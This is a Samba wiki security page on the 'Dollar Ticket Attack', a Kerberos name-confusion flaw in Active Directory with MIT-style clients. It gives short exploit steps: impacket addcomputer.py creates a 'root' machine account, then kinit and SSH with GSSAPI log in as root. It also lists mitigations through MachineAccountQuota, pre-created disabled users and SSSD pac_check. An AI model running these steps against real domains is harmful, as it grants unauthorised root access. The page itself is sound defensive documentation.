Security/Dollar Ticket Attack

From SambaWiki

The "Dollar Ticket Attack" / Name confusion in Kerberos

This page attempts to document the "Dollar Ticket Attack" on Active Directory servers and clients.

Many of these attacks are worse in Windows domains as MachineAccountQuota is still enabled by default.

CVEs and Announcements of the Nov 2021 issues

Talks

Blogs

Documentation

Still Open Issue in 'MIT Style' clients:

For many 'MIT style' clients, it is trivial for a domain user to become root or another local privileged user.

Fallback to 'bare' users

Just as Samba saw with CVE-2020-25717, the default principal to username mapping in MIT Kerberos is unsafe if user creation on the realm is not privileged.

Even if (eg) sssd or Samba provides a more complex account to local name plugin, the default behaviour remains to to map a user in the default realm to the matching user locally. It helps to avoid (eg) sssd mapping to an unprivileged account if that account is taken away before the ticket is presented.

The [https://web.mit.edu/kerberos/krb5-1.20/doc/admin/host_config.html MIT Kerberos Host configuration documentation describes the defaults as:

[realms]
   DEFAULT.REALM = {
...
       # Also allow principals from the default realm.  Omit this line
       # to only allow access to principals in OTHER.REALM.
       auth_to_local = DEFAULT
   }


MIT-style servers don't know a $ is missing

Unless the MIT-style kerberos acceptor enforces the presence of the PAC, and can read the PAC, using the extra information provided by Windows and Samba, it is not possible to know that the username has been stripped of the trailing $. This allows more opportunity for attack as there is no need for permission to delete the account, and still operates after Machine Accounts were restricted to keeping their trailing $

Impact

A user able to create an account 'root$' in AD, via MachineAccountQuota, can present a ticket to the target as 'root' and access (eg) SSH as root in default domain-joined machines using SSSD and 'realm', plus many similar and simpler custom per-deployment configurations.

Exploit steps

Environment

  • Windows 2022 (fully patched) AD DC
    • with Certificate services for LDAPS support
  • Fedora 36 client
    • python3-impackt and krb5-workstation packages installed
  • Fedora 36 target
    • Root account enabled at install
    • joined to the AD domain
    • realm join -U administrator win22.example.com –computer-name=fedora

Steps

kinit andrew

addcomputer.py -debug -k -dc-host abartlet-dc-win-22.win22.example.com WIN22.EXAMPLE.COM/andrew -method LDAPS -computer-name root

kinit root

ssh -v -o PreferredAuthentications=gssapi-with-mic -l root fedora

Other related issues

There are many other security issues, some related, that come form the same tree, including:

Mitigations

MachineAccountQuota is evil (only on Windows AD, unimplemented on Samba)

Control MachineAccountQuota by changing

ms-DS-MachineAccountQuota

to 0. This attribute is in the base domain DN, eg

dc=domain,dc=com

or using Group Policies to assign the SeMachineAccountPrivilege to a more restricted set of users (not 'Authenticated Users').

Block creation of sensitive users

It would be prudent to pre-create disabled users in Active Directory matching on all privileged names not held in Active Directory, eg

samba-tool user add root -H ldap://$SERVER -U$USERNAME%$PASSWORD --random-password
samba-tool user add ubuntu -H ldap://$SERVER -U$USERNAME%$PASSWORD --random-password
...

(repeat for eg all system users under 1000 in /etc/passwd or special to any other AD-connected services, eg perhaps "admin" for a web-app)

SSSD 2.7 and later

SSSD 2.7 and later has added a way to check PAC presence and validity of certain fields inside PAC structure. If all users in your deployment get PAC issued (standard for AD), enabling PAC checks should mitigate the issues. See

sssd.conf(5)

manual page for the option

pac_check

. SSSD AD provider defaults to

check_upn, check_upn_dns_info_ex

, adding

pac_present

will force PAC.